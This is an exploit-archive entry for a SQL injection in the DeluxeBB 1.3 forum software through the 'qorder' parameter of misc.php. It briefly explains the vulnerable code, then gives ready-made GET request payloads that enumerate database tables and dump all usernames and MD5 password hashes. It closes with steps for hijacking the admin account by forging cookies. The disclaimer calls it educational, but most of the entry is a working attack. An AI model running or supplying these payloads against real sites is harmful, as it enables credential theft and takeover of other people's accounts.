DeluxeBB 1.3 - 'qorder' SQL Injection

EDB-ID:

8240

Author:

girex

Type:

webapps

Platform:

PHP

Published:

2009-03-18

# Author:	girex
# Homepage:	girex.altervista.org
# Date:		18/03/2009

# CMS:		DeluxeBB 1.3 and prior
# site:		deluxebb.com

# NOTE: 	- Works regardless of php.ini settings
		
		- This SQL injection will shows you username and md5
		  of ALL registered users of the site.
		
		- This PoC was written for educational purpose. Use it at your own risk.
		  Author will be not responsible for any damage.

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# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes 
# turned Off too.

# file: misc.php    lines: 461-464

	if($order == "name") { $qorder = "ORDER BY username"; }
	if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
	if($order == "posts") { $qorder = "ORDER BY posts"; }
	if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

# This sequence of if does not provide an else..

# file: misc.php    line: 490

	$getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder."  <==
		             ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

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# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1

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# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1

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# NOTE: to get admin's access edit your cookies:

# memberid 	=>   	victim's id
# membercookie  =>	victim's username
# memberpw  	=> 	victim's md5

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girex

# milw0rm.com [2009-03-18]